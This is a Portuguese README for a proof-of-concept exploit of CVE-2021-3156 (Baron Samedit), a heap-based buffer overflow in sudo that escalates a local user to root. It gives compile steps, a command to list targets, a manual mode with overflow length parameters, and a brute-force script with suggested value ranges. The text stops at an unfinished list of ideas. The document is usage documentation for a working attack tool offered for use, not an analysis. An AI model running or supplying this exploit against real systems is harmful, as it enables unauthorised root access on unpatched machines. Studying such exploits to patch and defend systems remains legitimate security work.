
Exploit de prova de conceito para CVE-2021-3156 (Baron Samedit), um estouro de buffer baseado em heap no sudo que permite escalonamento local de privilégios para root. Suporta vários alvos e modo de força bruta.
Este é um exploit para a vulnerabilidade sudo CVE-2021-3156 (chamada de Baron Samedit pela Qualys).
compilar:
$ make
listar alvos:
$ ./sudo-hax-me-a-sandwich
executar:
$ ./sudo-hax-me-a-sandwich <target_number>
modo manual:
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
Certifique-se de ter o GNU parallel instalado.
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>
alguns padrões para tentar:
$ ./brute.sh 90 120 50 70 150 300
Vai consumir todos os núcleos disponíveis. Não tente fazer netflix & brute.
Envie PRs (sensatos), talvez eu faça merge.
Algumas ideias: